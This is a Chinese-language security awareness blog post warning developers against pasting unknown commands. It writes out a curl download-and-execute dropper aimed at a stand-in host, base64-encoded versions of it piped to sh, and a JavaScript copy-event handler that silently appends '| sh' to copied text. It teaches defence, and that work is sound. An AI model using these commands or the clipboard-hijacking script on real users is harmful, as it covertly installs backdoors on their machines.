/

從駭客角度告訴你為何不要隨意複製指令

相信很多人都有這樣的經驗,下指令時產生某某錯誤。這個錯誤可能沒見過,也可能是之前遇過但是忘記怎麼解。但我們只要將錯誤複製起來,貼上搜尋引擎,馬上就會跳出各種網頁可以參考,無倫是知名的程式討論論壇,或著是官方文件,又或著是個人自行架設的部落格。看到指令就貼上這個習慣,是開發者的眾多壞習慣之一。

駭客可以很巧妙的利用這一點,將精心製作的後門程式(或其他惡意程式),透過包裝,誘騙受害者(可能就是你)去執行。

生產惡意指令

假如今天我想要讓受害者的電腦執行一條指令就被植入後門,我會這麼做:

curl https://evil.yiyu0x.site/evil --output evil --silent && chmod +x evil && ./evil && rm ./evil

首先先透過 curl 下載遠端編譯好的惡意程式,並且給予該程式執行權限,然後執行,最後刪除(匿蹤)。

但這種指令我想應該沒有人會直接貼上執行,不但意圖明顯,而且還直接告訴受害者:「我打算下載來路不名的檔案,而且要執行它」。

偽裝

想要偽裝通常我們會將指令包裹成其他意圖,透過簡單的編碼來將這個惡意指令進行編碼,以下選用 base64 進行編碼:

1
Y3VybCBodHRwczovL2V2aWwueWl5dTB4LnNpdGUvZXZpbCAtLW91dHB1dCBldmlsIC0tc2lsZW50ICYmIGNobW9kICt4IGV2aWwgJiYgLi9ldmlsICYmIHJtIC4vZXZpbA==

為何選擇使用 base64,原因是因為 Linux 內建就有 base64 工具,受害人可以透過執行 base64 解碼工具,解出具有意義的字串

1
echo "Y3VybCBodHRwczovL2V2aWwueWl5dTB4LnNpdGUvZXZpbCAtLW91dHB1dCBldmlsIC0tc2lsZW50ICYmIGNobW9kICt4IGV2aWwgJiYgLi9ldmlsICYmIHJtIC4vZXZpbA==" | base64 -d

output:

1
curl https://evil.yiyu0x.site/evil --output evil --silent && chmod +x evil && ./evil && rm ./evil

接著將字串 pipe 到 sh 就可以直接運行:

1
echo "Y3VybCBodHRwczovL2V2aWwueWl5dTB4LnNpdGUvZXZpbCAtLW91dHB1dCBldmlsIC0tc2lsZW50ICYmIGNobW9kICt4IGV2aWwgJiYgLi9ldmlsICYmIHJtIC4vZXZpbA==" | base64 -d | sh

以上指令就沒有辦法一眼就看出目的,但意圖不變。

進一步偽裝

有經驗的開發者看到指令中帶有 sh 就會馬上起疑心,這是一件好事。因為本來就不應該隨便下具有執行權限的指令,何況你根本不知道那串 base64 字串解出來為何。

我們可以先將我們的惡意指令多新增一個功能,印出一些字串,讓受害者以為這串 base64 就是一個普通的字串而已:

echo "Hi, Im yiyu0x :)" && curl https://evil.yiyu0x.site/evil --output evil --silent && chmod +x evil && ./evil && rm ./evil

進行編碼:

1
ZWNobyAiSGksIEltIHlpeXUweCA6KSIgJiYgY3VybCBodHRwczovL2V2aWwueWl5dTB4LnNpdGUvZXZpbCAtLW91dHB1dCBldmlsIC0tc2lsZW50ICYmIGNobW9kICt4IGV2aWwgJiYgLi9ldmlsICYmIHJtIC4vZXZpbA==

惡意指令:

1
echo "ZWNobyAiSGksIEltIHlpeXUweCA6KSIgJiYgY3VybCBodHRwczovL2V2aWwueWl5dTB4LnNpdGUvZXZpbCAtLW91dHB1dCBldmlsIC0tc2lsZW50ICYmIGNobW9kICt4IGV2aWwgJiYgLi9ldmlsICYmIHJtIC4vZXZpbA==" | base64 -d | sh

執行後的結果:

Hi, Im yiyu0x :)

如果我將個指令放在一些顯眼的地方像是網站的自我介紹、說明欄,我相信有些具有好奇心的讀者可能就會傻傻執行。但是一些具有經驗的讀者還是會發現句尾帶的那個 sh,而不去執行它。

那我如果改成這樣呢?

1
echo "ZWNobyAiSGksIEltIHlpeXUweCA6KSIgJiYgY3VybCBodHRwczovL2V2aWwueWl5dTB4LnNpdGUvZXZpbCAtLW91dHB1dCBldmlsIC0tc2lsZW50ICYmIGNobW9kICt4IGV2aWwgJiYgLi9ldmlsICYmIHJtIC4vZXZpbA==" | base64 -d

這樣子我相信 9 成以上的人(包含我自己),都會想把這段指令貼上去執行看一下結果為何,畢竟就是一條單純的解碼指令,怎麼可能有害?

但是別忘了,惡意攻擊者可以在網頁中的 JS 插入:

1
2
3
4
5
6
const source = document.querySelector('div.source') //指令區塊
source.addEventListener('copy', (event) => {
const selection = document.getSelection()
event.clipboardData.setData('text/plain', selection.toString() + '| sh')
event.preventDefault()
})

該程式碼的意思為當你複製字串時,自動將剪貼板中的字串末端加上 | sh,意思就是你複製到的字串其實是:

1
echo "ZWNobyAiSGksIEltIHlpeXUweCA6KSIgJiYgY3VybCBodHRwczovL2V2aWwueWl5dTB4LnNpdGUvZXZpbCAtLW91dHB1dCBldmlsIC0tc2lsZW50ICYmIGNobW9kICt4IGV2aWwgJiYgLi9ldmlsICYmIHJtIC4vZXZpbA==" | base64 -d | sh

如果你貼上 terminal 之後沒有檢查就直接按下 enter,那麼你的電腦就不知不覺的執行了一個執行檔而你完全沒有感覺。

想想看,如果在開發者的部落格自我介紹,放入這種指令式的自我介紹是不是很有趣?或是放在臉書的自我介紹?當你很開心的貼上指令時,很可能默默中了人家的後門程式。

最後

該文章的重點無非還是提醒幾點資安的意識:

  • 來路不明的指令不要貼上終端機執行
  • 不要相信剪貼板的內容,按下 Enter 執行前應該肉眼再度檢查一次指令

最後提醒大家,在未經同意下入侵他人電腦是有刑責的,不要以身試法!